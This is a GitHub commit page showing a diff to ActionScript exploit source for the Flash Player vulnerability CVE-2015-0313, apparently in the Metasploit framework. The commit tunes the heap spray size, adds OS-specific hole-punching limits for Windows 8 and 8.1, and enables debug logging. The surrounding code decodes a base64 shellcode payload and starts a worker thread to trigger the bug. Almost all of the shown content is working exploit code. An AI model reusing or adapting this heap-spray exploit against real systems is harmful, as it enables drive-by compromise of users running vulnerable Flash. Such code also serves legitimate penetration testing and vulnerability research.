Skip to content

Commit 2b4fe96

Browse files
committed
Tweak Heap Spray
1 parent fb531d0 commit 2b4fe96

File tree

4 files changed

+17
-4
lines changed

4 files changed

+17
-4
lines changed

data/exploits/CVE-2015-0313/msf.swf

100755100644
178 Bytes
Binary file not shown.

external/source/exploits/CVE-2015-0313/Exploit.as

Lines changed: 15 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,7 @@ import mx.utils.Base64Decoder
2323

2424
public class Exploit extends Sprite
2525
{
26-
private var ov:Vector.<Object> = new Vector.<Object>(80000)
26+
private var ov:Vector.<Object> = new Vector.<Object>(120000)
2727
private var uv:Vector.<uint>
2828
private var ba:ByteArray = new ByteArray()
2929
private var worker:Worker
@@ -44,6 +44,16 @@ public class Exploit extends Sprite
4444
{
4545
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
4646
os = LoaderInfo(this.root.loaderInfo).parameters.os
47+
Logger.log("od: " + os)
48+
var ov_limit:uint
49+
if (os == "Windows 8.1" || os == "Windows 8") {
50+
ov_limit = 80000
51+
} else {
52+
ov_limit = 60000
53+
}
54+
Logger.log("ov: " + ov.length.toString())
55+
Logger.log("ov_limit: " + ov_limit.toString())
56+
4757
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
4858
var pattern:RegExp = / /g;
4959
b64_payload = b64_payload.replace(pattern, "+")
@@ -52,11 +62,13 @@ public class Exploit extends Sprite
5262

5363
ba.length = 0x1000
5464
ba.shareable = true
65+
Logger.log("spray")
5566
for (var i:uint = 0; i < ov.length; i++) {
5667
ov[i] = new Vector.<uint>(1014)
5768
ov[i][0] = 0xdeedbeef
5869
}
59-
for (i = 0; i < ov.length / 2; i += 2) {
70+
Logger.log("holes")
71+
for (i = 0; i < ov_limit; i += 2) {
6072
delete(ov[i])
6173
}
6274
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
@@ -65,6 +77,7 @@ public class Exploit extends Sprite
6577
worker.setSharedProperty("mc", mc)
6678
worker.setSharedProperty("ba", ba)
6779
ApplicationDomain.currentDomain.domainMemory = ba
80+
Logger.log('go')
6881
worker.start()
6982
}
7083

external/source/exploits/CVE-2015-0313/Exploiter.as

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -32,7 +32,7 @@ package
3232
payload = p
3333
platform = pl
3434
op_system = os
35-
35+
3636
ev = new ExploitVector(uv)
3737
if (!ev.is_ready()) return
3838
eba = new ExploitByteArray(platform)

external/source/exploits/CVE-2015-0313/Logger.as

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@ package
33
import flash.external.ExternalInterface
44

55
public class Logger {
6-
private static const DEBUG:uint = 0
6+
private static const DEBUG:uint = 1
77

88
public static function alert(msg:String):void
99
{

0 commit comments

Comments
 (0)